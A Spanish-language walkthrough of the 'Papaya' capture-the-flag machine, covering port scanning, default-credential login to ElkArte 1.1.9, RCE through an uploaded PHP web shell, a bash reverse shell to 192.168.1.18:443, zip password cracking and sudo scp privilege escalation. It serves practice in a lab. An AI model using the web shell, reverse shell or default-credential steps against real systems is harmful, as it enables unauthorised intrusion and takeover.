> For the complete documentation index, see [llms.txt](https://d4redevil.gitbook.io/d4redevil/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://d4redevil.gitbook.io/d4redevil/writeups/the-hackers-labs/linux/principiante/papaya.md).

# Papaya

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FeCHds44pSd8I1gcX0pNR%2Fpapaya.png?alt=media&amp;token=a2cad332-4d56-476b-9072-116248565e81" alt=""><figcaption></figcaption></figure>

Buenas h4ck3r, bienvenido a un nuevo post!

En esta ocasión, vamos a estar resolviendo la máquina [Papaya](https://thehackerslabs.com/papaya/) de la plataforma [The Hackers Labs](https://thehackerslabs.com/).

## Reconocimiento

Comenzamos lanzando una traza ICMP a la máquina objetivo para comprobar que tengamos conectividad.

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FRwfIrQb4WrNfNcVoLjOv%2FPasted%20image%2020240703192553.png?alt=media&amp;token=444a0cfc-06ff-40d6-997c-9d48ba27ef54" alt=""><figcaption></figcaption></figure>

Vemos que responde al envío de nuestro paquete, verificando de esta manera que tenemos conectividad. Por otra parte, confirmamos que estamos frente a una máquina Linux basandonos en el TTL (Time To Live) 64.

## Enumeración inicial

Realizamos un escaneo con `nmap` para descubrir que puertos TCP se encuentran abiertos en la máquina víctima.&#x20;

```bash
nmap -sS -p- --open --min-rate 5000 -Pn -n -vvv 192.168.1.15 -oG ports
```

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FZ9E9akatjCfQUA8a8o1R%2FPasted%20image%2020240703192634.png?alt=media&amp;token=c24508a7-2c40-4d00-8d2a-44c4a641000e" alt=""><figcaption></figcaption></figure>

Lanzamos una serie de script básicos de enumeración propios de `nmap`, para conocer la versión y servicio que esta corriendo bajo los puertos.

```bash
nmap -sCV -p21,22,80 -oN scan -vvv 192.168.1.15
```

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FhxMmYghLjFNBZF6mIRD8%2FPasted%20image%2020240703192837.png?alt=media&amp;token=39c9df4b-866c-4232-a3ec-f748cb7adb5f" alt=""><figcaption></figcaption></figure>

## Enumeración de servicios

Agregamos el dominio `papaya.thl` a nuestro archivo hosts.

```bash
echo '192.168.1.15 papaya.thl' >> /etc/hosts
```

Si ingresamos a este dominio desde nuestro navegador, nos encontramos con el siguiente sistema llamado `ElkArte` en su versión `1.1.9`.

> ElkArte es un software de foros de código abierto basado en PHP, diseñado para crear y gestionar comunidades en línea con funciones mejoradas de administración y personalización.

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FXmASiB6UAKRrynRaqbTv%2FPasted%20image%2020240703193008.png?alt=media&amp;token=3a860623-8483-4030-a4bf-2c1795068e3b" alt=""><figcaption><p>ElkArte 1.1.9</p></figcaption></figure>

Si buscamos por esta versión de `ElkArte 1.1.9`, encontramos que es vulnerable a [RCE (Remote Code Execution)](https://www.exploit-db.com/exploits/52026).

## Explotación

Para realizar esta explotación, necesitamos loguearnos en el sistema.

Probamos credenciales por defecto y logramos acceder con `admin:password`.

Genial. Ahora que tenemos acceso, creamos un archivo php con el siguiente código.

```bash
<?php system($_GET['cmd']); ?>
```

Luego, creamos el archivo zip.

```bash
zip test.zip test.php
```

Por ultimo, subimos el "nuevo tema".

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FRetNIF5iHCNbbVMYHPnr%2FPasted%20image%2020240703194135.png?alt=media&amp;token=a5dffed8-fef8-4e39-8253-e4047285edea" alt=""><figcaption></figcaption></figure>

Accedemos a la ruta donde se descomprimio el archivo y vemos que ya tenemos capacidad de ejecución remota de comandos.

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2F1HPXyCUe9DLjNLzohS00%2FPasted%20image%2020240703194437.png?alt=media&amp;token=afcbc876-ee84-463b-a29d-76e293bf757e" alt=""><figcaption><p>PoC</p></figcaption></figure>

Ahora toca ganar acceso al sistema. Para ello, nos ponemos en escucha con netcat por el puerto 443.

```bash
nc -lnvp 443
```

Y como payload podemos utilizar la siguiente reverse shell.

```bash
bash -c "bash -i >&1 /dev/tcp/192.168.1.18/443 0>&1"
```

Importante, encodear los caracteres ampersand `&` a `%26` para no tener problemas en la interpretación  del código.

```bash
bash -c "bash -i >%261 /dev/tcp/192.168.1.18/443 0>%261"
```

Ganamos acceso al sistema.

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2F6gQtgNbYbeAVe41Q205r%2FPasted%20image%2020240703194708.png?alt=media&amp;token=a9388876-f549-4d0e-97f6-f58afa0a3d4f" alt=""><figcaption><p>Ganamos acceso al sistema</p></figcaption></figure>

Hacemos un tratamiento de la tty para tener una terminal más interactiva:

* `script /dev/null -c bash`
* CTRL + Z
* `stty raw -echo; fg`
* `reset xterm`
* `export TERM=xterm`
* `export SHELL=bash`
* `stty rows <rows> columns <columns>`

## Enumeración / Movimiento lateral

Enumerando el sistema, encontramos un archivo zip bajo el directorio `/opt`.

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FJcLfIvLZDHmoI0FG5i69%2FPasted%20image%2020240703195256.png?alt=media&amp;token=6089f4d2-cde1-4e8a-bef3-742ef92bf0c2" alt=""><figcaption><p>pass.zip</p></figcaption></figure>

Al intentar extraerlo nos solicita una contraseña.

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FxVotCisDRXIQ7BV1hSoj%2FPasted%20image%2020240703195328.png?alt=media&amp;token=2c7b695d-3393-4555-87d2-366028866b39" alt=""><figcaption><p>pass.zip</p></figcaption></figure>

Lo transferimos a nuestra máquina y utilizamos la herramienta `zip2john` y luego `john` para obtener la contraseña.

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FYQ9FOIDxM4dSALIINJ0t%2FPasted%20image%2020240703195638.png?alt=media&amp;token=85222769-7c5e-4bb9-b183-87c467b45ec8" alt=""><figcaption></figcaption></figure>

Extraemos el zip y obtenemos la contraseña del usuario `papaya`.

Nos conectamos por ssh con el usuario `papaya`.

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FWocFU0v1Atbxtepo5vBe%2FPasted%20image%2020240703195904.png?alt=media&amp;token=d1f96a59-abc8-4bfc-bbe3-bdba2f428d7a" alt=""><figcaption><p>Usuario papaya</p></figcaption></figure>

Leemos la flag de `user.txt`.

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FPsWwMIVMQxPc5EWR7ZXn%2FPasted%20image%2020240703195944.png?alt=media&amp;token=6fc70353-d8d2-42bc-b434-542438ad6d6c" alt=""><figcaption><p>user.txt</p></figcaption></figure>

## Escalación de privilegios

Si realizamos una enumeración básica del sistema, encontramos que al ejecutar `sudo -l` podemos ejecutar el binario `/usr/bin/scp` como el usuario `root` sin solicitarnos contraseña.

Si buscamos en GTFObins encontramos que existe [una manera](https://gtfobins.github.io/gtfobins/scp/#sudo) de escalar nuestros privilegios a través de este binario en este contexto.

Procedemos  a escalar nuestros privilegios.

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FuxFioRcgtM9XupDoPEfu%2FPasted%20image%2020240703200351.png?alt=media&amp;token=88c7e84a-8279-4216-8520-c304b4bd9f20" alt=""><figcaption><p>Escalación de privilegios</p></figcaption></figure>

Por ultimo, leemos la flag de `root.txt`.

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2F5JV2KVoKZswxIOKHTkp5%2FPasted%20image%2020240703200424.png?alt=media&amp;token=05297f1b-083d-4b64-ada0-e35d7a90f8cd" alt=""><figcaption><p>root.txt</p></figcaption></figure>

De esta forma, concluimos la resolución de la máquina Papaya.

Espero que los conceptos hayan quedado claros. Como siempre, en caso de tener alguna duda te invito a realizar nuevamente la máquina para afianzar tus conocimientos.

¡Gracias por leer!

Happy Hacking!
